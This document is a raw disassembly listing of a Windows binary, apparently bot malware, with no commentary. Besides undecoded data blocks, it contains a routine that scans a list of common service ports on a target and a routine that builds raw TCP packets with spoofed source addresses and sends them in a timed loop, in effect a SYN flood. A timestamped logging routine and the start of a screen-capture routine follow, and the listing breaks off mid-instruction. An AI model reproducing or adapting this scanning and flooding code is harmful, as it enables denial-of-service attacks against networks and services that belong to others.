0FFFFFF50h, 0D6458966h dd 0D8758966h, 0DA5D8966h, 80DC45C6h, 6DD45C6h, 0DE5D8966h dd 57E82D74h, 8B000079h, 8E6C1F0h, 794DE8h, 0C1F00300h dd 43E808E6h, 3000079h, 8E6C1F0h, 7939E8h, 89F00300h, 0F633E075h dd 0FF16EB46h, 0FFFDC0B5h, 694AE8FFh, 5059FFFFh, 0DC3815FFh dd 4589004Ch, 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h dd 7906h, 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h dd 0F815FFFFh, 66004CDBh, 0E8EA4589h, 78E6h, 401B999h dd 0F9F70000h, 0F815FF52h, 68004CDBh, 12345678h, 0E8458966h dd 0DBF415FFh, 4589004Ch, 44858DECh, 68FFFFFEh, 42C300h dd 78D2E850h, 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h dd 44858D5Ch, 68FFFFFEh, 42C128h, 78B2E850h, 85590000h dd 97459C0h, 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh dd 42C120h, 7892E850h, 85590000h, 257459C0h, 7869E8h, 99036A00h dd 89F9F759h, 5BE8F055h, 6A000078h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CDBF8h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0F815FF06h dd 66004CDBh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 822BE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 821Ch, 0FF60858Dh dd 346AFFFFh, 685FE850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 81F8h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 81E6E850h, 46A0000h, 5388458Dh, 745AE850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 1AE85028h, 66FFFF68h dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 81B3E8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CDC5C15h, 0FFF88300h, 0AE840Fh, 45FF0000h dd 2BD7FF08h, 0E8B9D045h, 33000003h, 3BF1F7D2h, 0FFFF4C85h dd 0BB860FFFh, 0FFFFFFFDh, 15FFFC75h, 4CDC90h, 3308458Bh dd 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah, 0C1FFFFFFh, 505114E9h dd 0FDC4858Dh, 75FFFFFFh, 858D5008h, 0FFFFFE44h, 0C0858D50h dd 68FFFFFBh, 438A18h, 76A4E850h, 0C4830000h, 589D391Ch dd 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh dd 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5569E8h, 14C483FFh dd 0FBC0858Dh, 0E850FFFFh, 0EA2h, 0FF44B5FFh, 70E8FFFFh dd 59FFFF6Eh, 0E1E85359h, 0EC006FBBh, 0FFFC75FFh, 4CDC9015h dd 8C15FF00h, 50004CDBh, 0FDC4858Dh, 75FFFFFFh, 0C8685008h dd 8D004389h, 0FFFBC085h, 20068FFh, 0E8500000h, 7720h dd 3918C483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh, 0B5FFFFFFh dd 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh, 0EBE8FFFFh dd 83FFFF54h, 858D14C4h, 0FFFFFBC0h, 0E24E850h, 0B5FF0000h dd 0FFFFFF44h, 0FF6DF2E8h, 535959FFh, 6FBB63E8h db 0, 6Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp ecx, 1 mov [ebp+0Ch], esi jle short loc_4144CC lea eax, [ecx-2] push edi shr eax, 1 inc eax lea edi, [eax+eax] sub ecx, edi loc_4144BE: ; CODE XREF: seg000:004144C6j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_4144BE pop edi cmp ecx, 1 loc_4144CC: ; CODE XREF: seg000:004144B0j jnz short loc_4144D9 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4144D9: ; CODE XREF: seg000:loc_4144CCj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- word_4144F2 dw 8B55h ; DATA XREF: seg000:00408744o dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h dd 46E850FFh, 59000074h, 70858D50h, 50FFFFFEh, 0DC3815FFh dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h, 0FC8B5965h dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 0F468FFFFh, 5000438Ah dd 7519E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0DFE8FFFFh dd 83FFFF53h, 858D14C4h, 0FFFFFC6Ch, 0D18E850h, 75FF0000h dd 6CE9E8F0h, 5959FFFFh, 0BA5AE856h, 5555006Fh, 0EC81EC8Bh dd 0C8h, 0FC6583h, 358B5653h, 4280A8h, 68D6FF57h, 0FFh dd 26A036Ah, 0FFF44589h, 4CDC7815h, 0F8458900h, 0E850D6FFh dd 74ECh, 578BB59h, 6A530000h, 0E8016A09h, 4286h, 8D505959h dd 0E850DC45h, 7188h, 0BE0CC483h, 5A0h, 80A815FFh, 452B0042h dd 0B9D233F4h, 3E8h, 853BF1F7h, 1A0h, 1B2870Fh, 3D830000h dd 4D137Ch, 6A587500h, 45895810h, 458D50F0h, 50006A9Ch dd 7147E8h, 0CC48300h, 50F0458Dh, 509C458Dh, 0FF0875FFh dd 4CDB9C15h, 0FF6800h, 16A0000h, 4219E8h, 0B60F5000h dd 0F50A245h, 50A145B6h, 0A045B60Fh, 38858D50h, 68FFFFFFh dd 42EC0Ch, 73FCE850h, 0C4830000h, 8D13EB20h, 0FFFF3885h dd 0D6068FFh, 0E850004Dh, 7A10h, 858D5959h, 0FFFFFF38h dd 3815FF50h, 8B004CDCh, 0AC458BF8h, 0C564524h, 0B045C645h dd 0AC458910h, 0DBF815FFh, 8966004Ch, 13E8B245h, 66000074h dd 0BA6583h, 0B4458966h, 19C858Bh, 0C7660000h, 40B645h dd 40B845C6h, 6B945C6h, 89BC7D89h, 0EBE8C045h, 66000073h dd 0E8C44589h, 73E2h, 0C6458966h, 73D9E8h, 0C8458900h dd 73D1E8h, 0CC458900h, 24D0458Bh, 0C07D8B50h, 8366500Ch dd 6600D665h, 0D86583h, 0D0458966h, 0C6458B66h, 8966146Ah dd 458D8E45h, 45C650ACh, 0C76618D2h, 787DD445h, 8C45C766h dd 7D890002h, 0FD5CE890h, 0A580FFFFh, 0FFFFFF60h, 66595900h dd 8BBA4589h, 8C68BC45h, 89000005h, 0FFFF5885h, 5CBD89FFh dd 0C6FFFFFFh, 0FFFF6185h, 15FF06FFh, 42820Ch, 62858966h dd 8DFFFFFFh, 0FFFF6485h, 50146AFFh, 50C4458Dh, 7D77E8h dd 78858D00h, 53FFFFFFh, 0DC458D50h, 7D66E850h, 858D0000h dd 0FFFFFF58h, 59868h, 0F3E85000h, 83FFFFFCh, 896620C4h dd 458DD645h, 50106A8Ch, 8D56006Ah, 0FF50AC45h, 15FFF875h dd 4CDC5Ch, 0E9FC45FFh, 0FFFFFE30h, 0FFF875FFh, 4CDC9015h dd 0FC458B00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_4147E1 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:0040672Fo dd 414EC81h, 558B0000h, 85B85608h, 57000000h, 0F28BC88Bh dd 0FDECBD8Dh, 0EC81FFFFh, 214h, 0C88BA5F3h, 0FDECB58Dh dd 0FC8BFFFFh, 21082C7h, 10000h, 0A5F30000h, 36E8h, 858D5000h dd 0FFFFFBECh, 438B2868h, 43E85000h, 81000072h, 220C4h dd 0EC858D00h, 50FFFFFBh, 0A69E8h, 0F075FF00h, 0FF6A3AE8h dd 6A5959FFh, 0B7AAE800h, 559C006Fh, 0EC81EC8Bh, 254h dd 0FFBB5653h, 57000000h, 6A036A53h, 7815FF02h, 83004CDCh dd 4589FFF8h, 8D1A75F4h, 0FFFDAC85h, 8D2068FFh, 0E8500043h dd 71EAh, 59FF3359h, 2C6E9h, 0EC4D8D00h, 3351046Ah, 57026AFFh dd 0EC45C750h, 1, 0DBD815FFh, 0F883004Ch, 0FF0E75FFh, 4CDB8C15h dd 0D0685000h, 0EB00438Ch, 0C458D1Bh, 3815FF50h, 83004CDCh dd 2075FFF8h, 0DB8C15FFh, 6850004Ch, 438C88h, 0FDAC858Dh dd 0E850FFFFh, 718Eh, 0E90CC483h, 26Bh, 45C76657h, 0FF0002DCh dd 4CDBF815h, 45896600h, 0C458DDEh, 3415FF50h, 8B004282h dd 4280A835h, 0E0458900h, 4589D6FFh, 0C458DF8h, 0AC858D50h dd 68FFFFFDh, 438C5Ch, 7148E850h, 0C4830000h, 14BD390Ch dd 75000002h, 858D5720h, 0FFFFFDACh, 210B5FFh, 8D500000h dd 18C85h, 75FF5000h, 5010E808h, 0C483FFFFh, 0FC7D8914h dd 452BD6FFh, 0B9D233F8h, 3E8h, 0F08BF1F7h, 10C858Dh, 0E8500000h dd 6FF1h, 0F59F03Bh, 19187h, 41CBE00h, 5EB0000h, 0FFBBh dd 7C3D3900h, 75004D13h, 58106A50h, 50F04589h, 57CC458Dh dd 6DDAE850h, 0C4830000h, 0F0458D0Ch, 0CC458D50h, 875FF50h dd 0DB9C15FFh, 6A53004Ch, 3EB0E801h, 0F500000h, 50D245B6h dd 0D145B60Fh, 45B60F50h, 458D50D0h, 0EC0C68ACh, 0E8500042h dd 7096h, 0EB20C483h, 0AC458D10h, 4D0D6068h, 0ADE85000h dd 59000076h, 5C65659h, 4D0F60h, 0F815FF45h, 66004CDBh dd 4D0F62A3h, 0AC458D00h, 5C76650h, 4D0F64h, 89660001h dd 4D0F663Dh, 6805C600h, 80004D0Fh, 0F6905C6h, 6611004Dh dd 0F6A3D89h, 15FF004Dh, 4CDC38h, 4D0F6CA3h, 0E0458B00h dd 4D0F70A3h, 8C858D00h, 50000000h, 7A3D8966h, 0E8004D0Fh dd 6F11h, 7559C085h, 7070E810h, 0B9990000h, 401h, 0EB52F9F7h dd 8C858D0Eh, 50000000h, 6EF0E8h, 0FF505900h, 4CDBF815h dd 76A36600h, 0E8004D0Fh, 7046h, 401B999h, 8680000h, 0F7000004h dd 158966F9h, 4D0F74h, 0DBF815FFh, 68004Ch, 66000004h dd 4D0F78A3h, 701CE800h, 0F7990000h, 7C6852FBh, 0E8004D0Fh dd 6CBCh, 8D0CC483h, 106ADC45h, 68565750h, 4D0F60h, 0FFF475FFh dd 4CDC5C15h, 0FFF88300h, 0A4840Fh, 45FF0000h, 0A815FFFCh dd 2B004280h, 0D233F845h, 3E8B9h, 8BF1F700h, 0C858DD8h dd 50000001h, 6E60E8h, 59D83B00h, 0FE76860Fh, 75FFFFFFh dd 9015FFF4h, 8B004CDCh, 858DFC75h, 10Ch, 1CF66950h, 0E8000004h dd 6E39h, 0C68BC88Bh, 330AE8C1h, 0C1F1F7D2h, 565014EEh dd 8DFC75FFh, 8D500C45h, 0FFFDAC85h, 8BF868FFh, 0E8500043h dd 6F1Eh, 391CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4DE6h dd 5F14C483h, 5BC0335Eh, 75FFC3C9h, 15FF56FCh, 4CDB8Ch dd 0C458D50h, 0AC858D50h, 68FFFFFDh, 438B68h, 6ECCE850h dd 0C4830000h db 18h, 0EBh, 0ACh byte_414BAF db 55h ; DATA XREF: seg000:00407DC6o dd 0EC81EC8Bh, 414h, 5608458Bh, 85B957h, 0F08B0000h, 0FDECBD8Dh dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h dd 6D87E850h, 50590000h, 0FE70858Dh, 0E850FFFFh, 6D79h dd 858D5059h, 0FFFFFDF0h, 3815FF50h, 50004CDCh, 144E8h dd 858D5000h, 0FFFFFBECh, 438D4C68h, 5FE85000h, 3300006Eh dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 4D28E8FFh, 0C483FFFFh dd 0EC858D14h, 50FFFFFBh, 661E8h, 0F075FF00h, 0FF6632E8h dd 565959FFh, 6FB3A3E8h, 5E5FAA00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C60 proc near ; CODE XREF: seg000:00414ECDp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_414C89 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_428210 ; connect jmp loc_414D45 ; --------------------------------------------------------------------------- loc_414C89: ; CODE XREF: sub_414C60+13j mov esi, [ebp+arg_0] lea eax, [ebp+var_8] xor edi, edi push eax inc edi push 8004667Eh push esi mov [ebp+var_8], edi call ds:dword_4281F8 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_4CDBA0 ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call ds:dword_4CDBE0 ; select test eax, eax jnz short loc_414CED or eax, 0FFFFFFFFh jmp short loc_414D45 ; --------------------------------------------------------------------------- loc_414CED: ; CODE XREF: sub_414C60+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414CF8 loc_414CF4: ; CODE XREF: sub_414C60+B8j ; sub_414C60+DCj mov eax, edi jmp short loc_414D45 ; --------------------------------------------------------------------------- loc_414CF8: ; CODE XREF: sub_414C60+92j lea eax, [ebp+var_10C] push eax push esi call sub_426A18 ; __WSAFDIsSet test eax, eax jnz short loc_414D1A lea eax, [ebp+var_210] push eax push esi call sub_426A18 ; __WSAFDIsSet test eax, eax jz short loc_414CF4 loc_414D1A: ; CODE XREF: sub_414C60+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call ds:dword_4281E4 ; getsockopt cmp eax, edi jz short loc_414CF4 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_414D45: ; CODE XREF: sub_414C60+24j ; sub_414C60+8Bj ... pop edi pop esi leave retn sub_414C60 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 108h xor eax, eax push ebx push esi inc eax push edi xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 mov [ebp-10h], eax pop esi push esi push 2 call ds:dword_428208 ; WSASocketA lea ecx, [ebp-10h] push 4 push ecx push 2 push ebx push eax mov ds:dword_4D13E0, eax call ds:dword_4CDBD8 ; setsockopt call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 pop ecx xor eax, eax push 19h lea edi, [ebp-0FCh] pop ecx mov [ebp-108h], ebx mov [ebp-78h], ecx mov [ebp-104h], ebx mov [ebp-100h], ebx mov [ebp-18h], esi mov dword ptr [ebp-88h], 401h mov dword ptr [ebp-84h], 15h mov dword ptr [ebp-80h], 16h mov dword ptr [ebp-7Ch], 17h mov dword ptr [ebp-74h], 35h mov dword ptr [ebp-70h], 50h mov dword ptr [ebp-6Ch], 51h mov dword ptr [ebp-68h], 58h mov dword ptr [ebp-64h], 6Eh mov dword ptr [ebp-60h], 71h mov dword ptr [ebp-5Ch], 77h mov dword ptr [ebp-58h], 87h mov dword ptr [ebp-54h], 89h mov dword ptr [ebp-50h], 8Bh mov dword ptr [ebp-4Ch], 8Fh mov dword ptr [ebp-48h], 1BBh mov dword ptr [ebp-44h], 1BDh mov dword ptr [ebp-40h], 400h mov dword ptr [ebp-3Ch], 599h mov dword ptr [ebp-38h], 5DCh mov dword ptr [ebp-34h], 6B8h mov dword ptr [ebp-30h], 0CEAh mov dword ptr [ebp-2Ch], 0D3Dh mov dword ptr [ebp-28h], 1388h mov dword ptr [ebp-24h], 1A0Bh mov dword ptr [ebp-20h], 1F40h mov dword ptr [ebp-1Ch], 1F90h mov [ebp-0Ch], ebx rep stosd mov dword ptr [ebp-14h], 0BB8h xor esi, esi loc_414E87: ; CODE XREF: seg000:00414EF5j mov eax, [ebp+8] lea edi, [ebp+esi-88h] mov [ebp-94h], eax mov word ptr [ebp-98h], 2 mov ax, [edi] push eax call ds:dword_4CDBF8 ; htons push ebx push 1 push 2 mov [ebp-96h], ax call ds:dword_4CDC78 ; socket lea ecx, [ebp-18h] mov [ebp-8], eax push ecx lea ecx, [ebp-98h] push 10h push ecx push eax call sub_414C60 add esp, 10h mov [ebp-4], eax push dword ptr [ebp-8] call ds:dword_4CDC90 ; closesocket cmp [ebp-4], ebx jnz short loc_414EEF mov eax, [edi] mov [ebp+esi-108h], eax loc_414EEF: ; CODE XREF: seg000:00414EE4j add esi, 4 cmp esi, 70h jl short loc_414E87 mov esi, offset dword_4D13E8 push offset asc_42E0C8 ; " " push esi call sub_41BA76 mov edi, ds:dword_4280A8 pop ecx pop ecx call edi ; GetTickCount mov [ebp-8], eax mov [ebp-4], ebx loc_414F17: ; CODE XREF: seg000:00414F6Ej call edi ; GetTickCount sub eax, [ebp-8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+0Ch] ja short loc_414F70 mov eax, [ebp-4] mov eax, [ebp+eax*4-108h] cmp eax, ebx jz short loc_414F4D push eax push esi push offset aSD ; "%s%d " push esi mov [ebp-0Ch], eax call sub_41BA76 add esp, 10h jmp short loc_414F67 ; --------------------------------------------------------------------------- loc_414F4D: ; CODE XREF: seg000:00414F36j push 0FFFFh push ebx call sub_418872 pop ecx pop ecx push eax call ds:dword_4CDBF8 ; htons movzx eax, ax mov [ebp-0Ch], eax loc_414F67: ; CODE XREF: seg000:00414F4Bj inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 1Ch jl short loc_414F17 loc_414F70: ; CODE XREF: seg000:00414F28j ; seg000:004151A7j push 28h push ebx push offset byte_4D1384 call sub_41B780 mov esi, 0FFFFh mov ds:byte_4D1384, 45h push esi push 400h mov ds:byte_4D138D, 6 mov ds:byte_4D1385, 8 call sub_418872 add esp, 14h push eax call ds:dword_4CDBF8 ; htons push 28h mov ds:word_4D1388, ax call ds:dword_4CDBF8 ; htons or ds:byte_4D138C, 0FFh cmp ds:dword_4D137C, ebx mov ds:word_4D1386, ax mov ds:word_4D138A, bx jnz short loc_414FF0 push 0FFFEh push 1 call sub_418872 pop ecx pop ecx mov ecx, [ebp+8] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_414FFB ; --------------------------------------------------------------------------- loc_414FF0: ; CODE XREF: seg000:00414FD4j push offset dword_4D0D60 call ds:dword_4CDC38 ; inet_addr loc_414FFB: ; CODE XREF: seg000:00414FEEj mov ds:dword_4D1390, eax mov eax, [ebp+8] push 4000h mov ds:dword_4D1394, eax mov ds:byte_4D13A5, bl call ds:dword_4CDBF8 ; htons push esi push ebx mov ds:word_4D13A6, ax call sub_418872 mov edi, eax push esi push ebx shl edi, 8 call sub_418872 add esp, 10h add edi, eax push edi call ds:dword_4CDBF4 ; htonl mov ds:dword_4D139C, eax mov al, ds:byte_4D13A4 mov edi, [ebp+8] and al, 0Fh or al, 50h push 14h mov ds:byte_4D13A4, al mov ax, [ebp-0Ch] mov ds:dword_4D13A0, ebx mov ds:word_4D13AA, bx mov ds:word_4D139A, ax mov ds:dword_4D13C0, edi mov ds:byte_4D13C4, bl mov ds:byte_4D13C5, 6 call ds:dword_4CDBF8 ; htons mov ds:word_4D13C6, ax mov ax, ds:word_4D139A mov ds:word_4D13AC, 2 mov ds:dword_4D13B0, edi mov ds:word_4D13AE, ax mov [ebp-4], ebx jmp short loc_4150B1 ; --------------------------------------------------------------------------- loc_4150AC: ; CODE XREF: seg000:00415181j mov esi, 0FFFFh loc_4150B1: ; CODE XREF: seg000:004150AAj cmp [ebp-4], ebx push esi push ebx jnz short loc_4150E5 call sub_418872 pop ecx pop ecx push eax call ds:dword_4CDBF8 ; htons mov ds:word_4D1398, ax mov eax, ds:dword_4D1390 mov ds:dword_4D13BC, eax mov ds:byte_4D13A5, 2 mov ds:dword_4D13A0, ebx jmp short loc_415102 ; --------------------------------------------------------------------------- loc_4150E5: ; CODE XREF: seg000:004150B6j mov ds:byte_4D13A5, 10h call sub_418872 pop ecx pop ecx push eax call ds:dword_4CDBF8 ; htons movzx eax, ax mov ds:dword_4D13A0, eax loc_415102: ; CODE XREF: seg000:004150E3j inc ds:word_4D1388 inc ds:dword_4D139C mov ax, ds:word_4D139A push 5 pop ecx mov esi, offset word_4D1398 mov edi, offset dword_4D13C8 mov ds:word_4D138E, bx mov ds:word_4D13A8, bx push 14h rep movsd mov esi, offset byte_4D1384 mov ds:word_4D13AE, ax push esi call sub_40AB51 push 20h push offset dword_4D13BC mov ds:word_4D138E, ax call sub_40AB51 add esp, 10h mov ds:word_4D13A8, ax push 10h push offset word_4D13AC push ebx push 28h push esi push ds:dword_4D13E0 call ds:dword_4CDC5C ; sendto inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 3FFh jl loc_4150AC call ds:dword_4280A8 ; GetTickCount sub eax, [ebp-8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+0Ch] ja short loc_4151AC push dword ptr [ebp+10h] call ds:dword_428064 ; Sleep jmp loc_414F70 ; --------------------------------------------------------------------------- loc_4151AC: ; CODE XREF: seg000:0041519Cj pop edi pop esi mov eax, offset dword_4D13E8 pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151B6 proc near ; CODE XREF: seg000:00408BF9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43FDB8 mov edi, 0B8h loc_4151CA: ; CODE XREF: sub_4151B6+33j cmp byte ptr [esi], 0 jz short loc_4151ED push [ebp+arg_0] push esi call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_4151ED inc [ebp+var_4] add esi, edi cmp esi, offset dword_440938 jl short loc_4151CA jmp short loc_41522F ; --------------------------------------------------------------------------- loc_4151ED: ; CODE XREF: sub_4151B6+17j ; sub_4151B6+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43FDB8[esi] push ebx call sub_41B780 push 17h push [ebp+arg_0] push ebx call sub_41B7E0 push 9Fh lea eax, dword_43FDD0[esi] push [ebp+arg_4] push eax call sub_41B7E0 add esp, 24h inc ds:dword_42A488 pop ebx loc_41522F: ; CODE XREF: sub_4151B6+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4151B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415236 proc near ; CODE XREF: seg000:00404395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_438D94 push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h xor edi, edi mov esi, offset dword_43FDB8 loc_415260: ; CODE XREF: sub_415236+72j cmp byte ptr [esi], 0 jz short loc_41529B lea eax, [esi+18h] push eax push esi push edi push offset dword_438D80 lea eax, [ebp+var_200] push 200h push eax call sub_41BB70 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 2Ch loc_41529B: ; CODE XREF: sub_415236+2Dj add esi, 0B8h inc edi cmp esi, offset dword_440938 jl short loc_415260 pop edi pop esi leave retn sub_415236 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152AE proc near ; CODE XREF: seg000:00401E8Dp ; seg000:0040209Dp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_428130 ; GetLocalTime mov ebx, offset dword_4D57E8 mov edi, 80h mov esi, offset dword_4D17E8 loc_4152D0: ; CODE XREF: sub_4152AE+3Dj cmp byte ptr [ebx], 0 jz short loc_4152E7 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B7E0 add esp, 0Ch loc_4152E7: ; CODE XREF: sub_4152AE+25j sub ebx, edi cmp ebx, esi jge short loc_4152D0 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41BB70 add esp, 28h pop edi pop esi pop ebx leave retn sub_4152AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415322 proc near ; CODE XREF: sub_401875+F7p ; seg000:loc_408972p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C380 lea eax, [ebp+var_80] push eax call sub_4152AE add esp, 14h leave retn sub_415322 endp ; =============== S U B R O U T I N E ======================================= sub_41534E proc near ; CODE XREF: seg000:0040428Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4D17E8 xor ecx, ecx loc_415355: ; CODE XREF: sub_41534E+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D57E8 jl short loc_415355 cmp [esp+arg_C], ecx jnz short loc_415383 push ecx push [esp+4+arg_8] push offset dword_438DE0 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409966 add esp, 14h loc_415383: ; CODE XREF: sub_41534E+19j push offset dword_438DCC call sub_4152AE pop ecx retn sub_41534E endp ; --------------------------------------------------------------------------- byte_41538F db 55h ; DATA XREF: seg000:00404340o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] xor edx, edx rep movsd xor edi, edi mov dword ptr [ebp-8], 80h inc edi cmp [ebp-10h], edx mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4153E2 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_438E10 push eax push dword ptr [ebp-11Ch] call sub_409966 add esp, 14h loc_4153E2: ; CODE XREF: seg000:004153C2j cmp byte ptr [ebp-98h], 0 jz short loc_415402 lea eax, [ebp-98h] push eax call sub_41B969 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415402 mov [ebp-8], eax loc_415402: ; CODE XREF: seg000:004153E9j ; seg000:004153FDj and dword ptr [ebp+8], 0 mov esi, offset dword_4D17E8 loc_41540B: ; CODE XREF: seg000:00415463j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415465 cmp byte ptr [esi], 0 jz short loc_415454 cmp byte ptr [ebp-98h], 0 jz short loc_41543A cmp dword ptr [ebp-4], 0 jnz short loc_41543A lea eax, [ebp-98h] push eax push esi call sub_41826C pop ecx test eax, eax pop ecx jz short loc_415454 loc_41543A: ; CODE XREF: seg000:0041541Fj ; seg000:00415425j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409966 add esp, 14h loc_415454: ; CODE XREF: seg000:00415416j ; seg000:00415438j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D57E8 jl short loc_41540B loc_415465: ; CODE XREF: seg000:00415411j lea eax, [ebp-31Ch] push offset dword_438DF4 push eax call sub_41BA76 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41549F push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409966 add esp, 14h loc_41549F: ; CODE XREF: seg000:0041547Dj lea eax, [ebp-31Ch] push eax call sub_4152AE push dword ptr [ebp-18h] call sub_40B287 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dw 45E8h dd 5E006FABh ; --------------------------------------------------------------------------- pop edi pop esi loc_4154BE: ; CODE XREF: seg000:00408D3Ap push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call ds:dword_4CDBE4 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp-20h], edi jz loc_4156F2 push 8 push edi call ds:dword_4CDC00 ; 